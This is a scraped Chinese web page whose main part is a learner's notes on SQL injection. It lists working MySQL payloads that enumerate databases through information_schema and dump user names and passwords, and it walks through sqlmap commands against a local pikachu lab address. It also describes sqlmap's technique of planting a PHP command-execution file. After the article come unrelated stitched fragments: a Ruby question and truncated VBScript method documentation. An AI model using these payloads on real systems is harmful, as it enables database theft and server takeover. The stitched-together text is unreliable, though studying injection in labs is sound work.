- VisualStudio2022插件的安装及使用-编程手把手系列文章
- pprof-在现网场景怎么用
- C#实现的下拉多选框,下拉多选树,多级节点
- 【学习笔记】基础数据结构:猫树
记录一些注入思路和经常使用的工具,后续有用到新的工具和总结新的方法再继续补充.
下面的现象是在说存在注入点后的现象,如果服务端有防护手段就需要另外的手段绕过.
老方法:
单引号 。
现象:出现数据库报错.
or 1=1-- 。
现象:正常访问页面或者跟多数据一起展现出来了.
and 1=1-- 。
现象:正常访问页面.
and 1=2-- 。
现象:不会显示任何内容或者会看到报错信息,这取决于服务端代码是如何写的.
order by n 。
现象:判断该表的字段数量,直到没有报错即order by后面那个n就是字段数 。
union 。
前提:知道表的字段数量,所以可以先使用上面的order by进行测试字段数 。
payload:union select user(),database()-- 。
现象:若存在注入点,这里的union使用的地方通常是可以展示多个数据的地方,因为联合出来的数据会很多条,若存在注入点union注入的能力会十分强大.
MySQL5.0以上有information_schema数据库信息 。
获取所有数据库名:
union select 1,group_concat(schema_name) from information_schema.schemata 。
获取当前数据库所有表名:
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() 。
获取某些表的所有列名:
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 。
其中table_name=0x7573657273为十六进制,这个不转成十六进制也可以table_name="users" 。
获取某表的所有字段数据:
' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users 。
0x7c表示 | 符号,其实就是用过|将所有字段数据拼接到一起进行显示 。
第一步:找注入点,寻报错 。
单引号、双引号、单引号+括号、双引号+括号、单引号+双括号、双引号+双括号、数字型(不用闭合)、json等等类型注入(post数据)、http header注入... 。
第二步:
若第一步发现有回显报错信息出现,则可以进行sql注入语句的编写.
order by 、union select 等方法猜测后端代码中这条sql语句查询的属性列数是多少 。
union select 1,2,3...,直到查询列数后,通过查询一个不存在的数据然后与union select联合查询配合回显显示位 。
若有回显信息 。
修改显示位为我们要获取的信息,比如:database()、version()等等,或者mysql5.0以上使用imformation_schema来快速拖库.
若无回显信息 。
尝试bool盲注、base on time时间型注入等等。这里也可以尝试报错注入.
若第一步无回显信息出现.
第三步:
以下是一些工具注入手段。 (在Github或谷歌搜索都能搜到) 。
Pongolin(穿山甲) 。
Havij(萝卜头) 。
来自国外的,比较经典且实用,就是注册的时候有点麻烦,可以通过报错的信息发现缺少什么组件去网上直接找解决方法即可.
可以执行后端数据库指纹识别,检索DBMS用户和密码哈希,转储表和列,从数据库获取 。
数据,执行SQL语句甚至访问底层文件系统并发出操作系统级命令 。
下载地址:https://github.com/sqlmapproject/sqlmap 。
介绍:是一个开源的渗透工具。使用python2.7开发的,所以我们使用的时候需要用python2。或者直接去kali系统使用,kali自带了sqlmap工具。而且他的参数都是直接添加即可,没有顺序可言,就很方便.
执行命令后可能会提示,下面使用简单的-u对一个网址进行测试作为示例入门:
开始介绍参数使用与示例 。
执行命令:python2 sqlmap.py -r 数据包文件 。
执行命令:python2 sqlmap.py -u "http://192.168.121.151/pikachu/vul/sqli/sqli_search.php?name=vince&submit=%E6%90%9C%E7%B4%A2" 。
执行命令:sqlmap-master>python2 sqlmap.py --level 3 --risk 3 -m ./m.txt 。
注意:若你使用的url都是同一个ip地址下的网址的话,在测试过程中,会出现问你是否跳过同一个ip下的另一个url网址测试,这时候需要你选择否来继续测试你文件中的下一个url网址,如果不是同ip仅仅只是询问你确认该网址。如下图就是同一个ip下的两个网址进行测试,轮到下一个的时候会询问你是否跳过,我们要测试的肯定一般都不会跳过,所以选择否.
执行命令:按照上面的执行语句加一句 [--level 等级] 即可,如下 。
python2 sqlmap.py --level 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" 。
注意:比如你写了level 3,那么在询问你的时候就会是 level 3,但是risk还是默认1,如下图 。
执行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" 。
同理注意:比如你写了risk3,那么在询问你的时候就会是 risk3,但是level还是默认1,很容易发现,如多level 和 risk都定义了参数等级那就不会按照默认的等级来.
通常情况下使用level 3 risk 3就可以.
显示详细信息的意思,ERBOSE信息级别: 0-6 (缺省默认1),其值具体含义:
如果想看到sqlmap发送的测试payload最好的等级就是3。设置为5的话,可以看到http相应信息,比较详细.
执行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" -v 3 。
学到这里其实已经发现我们的参数逐渐完善了,基本的语句就是上面的例子↑ 。
-p就是指定你注入的参数,比如id是一个注入点,那我们在测试的时候就可以指定id参数,-p id,这样测试会让测试时间大大减少。不管是post数据包还是get的url都是可以使用-p 直接指定注入参数.
介绍:指明发送请求的并发线程数量。线程数越低判断出来的sql注入准确率越高.
sqlmap文件夹\lib\core\setting.py
中,修改其中的MAX_NUMBER_OF_THREADS = 10,也就是说你使用--threads 指明的线程数最大也就10,想要指定更大的就修改配置文件。(一般不需要很大,不然对方服务器也顶不住这么大的请求数量。甚至还有可能封你ip)智能判断测试,自行寻找注入点进行测试 (该命令很少用) 。
这个智能指令,会将所有数据库全部扒一遍,并且会将每一步的信息和数据全部给我们保存下来,在如下目录中 。
记住,这个参数测出来的信息会很多,数据库、表等等都会出来.
个人不推荐使用。(动静大不说,等待时间还比较久) 。
前提条件 。
网站必须是root权限 。
攻击者需要知道网站的绝对路径 。
GPC为off,php主动转义的功能关闭 。
该功能耗费时间比较长.
原理:
就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下 然后利用tmpukjhb.php上传了一个tmpbezal.php的文件,tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来 。
直接加上--mobile即可,他会自动让你选择手机型号,不用自己输入手机型号(所以也有局限性,但是也不算局限性,市面这么多手机,只要能够让网站判断是手机访问的即可了) 。
使用方法:
sqlmap.py -u url --tamper "base64encode.py";
以下参数都是直接加上去即可,不用另外添加数据 。
例子:http://192.168.121.151/sql.php?id=1 --dbs 。
暂时了解这么多,后面继续进阶了再继续学习补充... 。
最后此篇关于SQL注入方法的文章就讲到这里了,如果你想了解更多关于SQL注入方法的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我想了解 Ruby 方法 methods() 是如何工作的。 我尝试使用“ruby 方法”在 Google 上搜索,但这不是我需要的。 我也看过 ruby-doc.org,但我没有找到这种方法。
Test 方法 对指定的字符串执行一个正则表达式搜索,并返回一个 Boolean 值指示是否找到匹配的模式。 object.Test(string) 参数 object 必选项。总是一个
Replace 方法 替换在正则表达式查找中找到的文本。 object.Replace(string1, string2) 参数 object 必选项。总是一个 RegExp 对象的名称。
Raise 方法 生成运行时错误 object.Raise(number, source, description, helpfile, helpcontext) 参数 object 应为
Execute 方法 对指定的字符串执行正则表达式搜索。 object.Execute(string) 参数 object 必选项。总是一个 RegExp 对象的名称。 string
Clear 方法 清除 Err 对象的所有属性设置。 object.Clear object 应为 Err 对象的名称。 说明 在错误处理后,使用 Clear 显式地清除 Err 对象。此
CopyFile 方法 将一个或多个文件从某位置复制到另一位置。 object.CopyFile source, destination[, overwrite] 参数 object 必选
Copy 方法 将指定的文件或文件夹从某位置复制到另一位置。 object.Copy destination[, overwrite] 参数 object 必选项。应为 File 或 F
Close 方法 关闭打开的 TextStream 文件。 object.Close object 应为 TextStream 对象的名称。 说明 下面例子举例说明如何使用 Close 方
BuildPath 方法 向现有路径后添加名称。 object.BuildPath(path, name) 参数 object 必选项。应为 FileSystemObject 对象的名称
GetFolder 方法 返回与指定的路径中某文件夹相应的 Folder 对象。 object.GetFolder(folderspec) 参数 object 必选项。应为 FileSy
GetFileName 方法 返回指定路径(不是指定驱动器路径部分)的最后一个文件或文件夹。 object.GetFileName(pathspec) 参数 object 必选项。应为
GetFile 方法 返回与指定路径中某文件相应的 File 对象。 object.GetFile(filespec) 参数 object 必选项。应为 FileSystemObject
GetExtensionName 方法 返回字符串,该字符串包含路径最后一个组成部分的扩展名。 object.GetExtensionName(path) 参数 object 必选项。应
GetDriveName 方法 返回包含指定路径中驱动器名的字符串。 object.GetDriveName(path) 参数 object 必选项。应为 FileSystemObjec
GetDrive 方法 返回与指定的路径中驱动器相对应的 Drive 对象。 object.GetDrive drivespec 参数 object 必选项。应为 FileSystemO
GetBaseName 方法 返回字符串,其中包含文件的基本名 (不带扩展名), 或者提供的路径说明中的文件夹。 object.GetBaseName(path) 参数 object 必
GetAbsolutePathName 方法 从提供的指定路径中返回完整且含义明确的路径。 object.GetAbsolutePathName(pathspec) 参数 object
FolderExists 方法 如果指定的文件夹存在,则返回 True;否则返回 False。 object.FolderExists(folderspec) 参数 object 必选项
FileExists 方法 如果指定的文件存在返回 True;否则返回 False。 object.FileExists(filespec) 参数 object 必选项。应为 FileS
我是一名优秀的程序员,十分优秀!